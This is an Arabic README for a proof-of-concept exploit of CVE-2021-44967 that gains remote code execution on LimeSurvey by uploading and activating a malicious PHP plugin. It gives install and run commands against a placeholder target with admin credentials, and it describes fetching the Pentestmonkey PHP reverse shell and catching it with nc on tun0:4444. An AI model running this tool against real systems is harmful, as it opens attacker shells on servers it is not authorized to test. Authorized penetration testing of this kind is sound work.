
استغلال لإثبات المفهوم لثغرة CVE-2021-44967 يمكّن من تنفيذ التعليمات البرمجية عن بُعد في LimeSurvey 5.2.4 عبر رفع إضافة ضارة، مع إمكانية إنشاء قشرة عكسية (reverse shell).
إثبات مفهوم لـ CVE-2021-44967. يقوم السكربت بالمصادقة إلى LimeSurvey، ويرفع إضافة PHP ويُنشّطها، ثم يُشغّل reverse shell.
استخدم هذا فقط ضد الأنظمة التي تملكها أو المصرّح لك باختبارها.
beautifulsoup4 و netifaces و requestsnc متاح في PATHأنشئ بيئة معزولة وثبّت حزم Python:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
يقبل --listen-ip عنوان IPv4 أو اسم واجهة شبكة، وقيمته الافتراضية tun0. إذا حُذف --file، يقوم السكربت بتنزيل reverse shell بلغة PHP الخاص بـ Pentestmonkey وتهيئته بعنوان المستمع. مرّر --file payload.php لتزويد حمولة PHP محلية بدلاً من ذلك.
شغّل python3 limesurvey_rce.py --help لعرض جميع الخيارات، بما في ذلك إعدادات proxy و User-Agent المخصصة.
تم اختبار الاستغلال ضد LimeSurvey Community Edition 6.6.4. يصف سجل CVE المشكلة في LimeSurvey 5.2.4.